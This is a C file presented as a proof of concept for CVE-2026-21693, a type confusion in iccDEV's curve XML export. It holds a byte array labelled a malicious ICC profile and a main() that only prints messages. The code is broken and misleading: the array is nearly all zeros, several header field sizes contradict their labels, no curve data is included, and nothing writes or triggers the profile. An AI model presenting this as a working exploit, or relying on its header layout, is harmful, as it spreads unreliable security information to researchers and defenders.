// CVE-2026-21693 PoC - Malformed ICC Profile triggering Type Confusion
// This PoC demonstrates the structure needed to trigger the vulnerability
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Malicious ICC profile structure to trigger CIccSegmentedCurveXml::ToXml() type confusion
unsigned char malicious_icc_profile[] = {
// ICC Profile Header (128 bytes)
0x00, 0x00, 0x02, 0x00, // Profile size (little endian)
'A', 'C', 'S', 'P', // Profile signature
0x00, 0x00, 0x00, 0x00, // Preferred CMM type
0x04, 0x00, 0x00, 0x00, // Profile version
0x00, 0x00, 0x00, 0x00, // Profile device class
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Color space
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // PCS
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Creation date/time
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Profile file signature
0x00, 0x00, 0x00, 0x00, // Primary platform
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Profile flags
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Device manufacturer
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Device model
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Device attributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Rendering intent
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // PCS illuminant
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Profile creator
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Profile ID
};
int main() {
printf("CVE-2026-21693 PoC for iccDEV Type Confusion\n");
printf("Target: CIccSegmentedCurveXml::ToXml() in IccMpeXml.cpp\n");
printf("This PoC generates a malformed ICC profile that triggers type confusion.\n");
printf("The attacker would need to craft specific curve data to exploit.\n");
return 0;
}